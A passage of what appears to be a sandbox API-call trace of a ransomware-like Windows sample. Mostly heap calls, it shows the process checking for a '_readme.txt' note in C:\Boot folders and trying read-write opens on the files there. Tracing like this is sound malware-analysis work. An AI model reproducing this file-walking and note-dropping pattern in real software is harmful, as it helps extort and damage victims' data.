[0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.761] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.761] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.762] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.762] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.763] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.763] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.764] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.764] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.764] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.764] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.764] PathFindFileNameW (pszPath="") returned="" [0066.764] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.764] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.765] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.765] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.765] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.765] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.765] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.765] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.765] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.765] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.765] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.765] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.765] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0066.765] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.765] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0066.765] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31b3d70, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31b3d70, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.765] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31b3d70, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31b3d70, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.766] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.766] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.766] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.766] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0066.766] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.766] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31b3d70, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31b3d70, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31b3d70, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.766] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.766] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287070 [0066.766] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned=".txt" [0066.766] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31b3d70, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31b3d70, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31b3d70, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.766] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.766] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.766] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.766] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.766] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.766] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.766] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0066.766] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.766] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.766] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.766] PathFindFileNameW (pszPath="") returned="" [0066.766] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.766] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.767] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.767] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.767] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.767] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.767] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.767] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.767] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.767] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.767] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.767] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.767] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x81c) returned 0x3247f78 [0066.767] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0066.767] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.767] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.767] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0066.767] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.768] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.768] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.768] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.768] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.768] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.768] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.768] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.768] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.768] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0066.768] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.768] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.768] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0066.768] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.768] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.768] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.768] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0066.768] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.768] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.768] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31d9ed0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb31d9ed0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb31d9ed0, 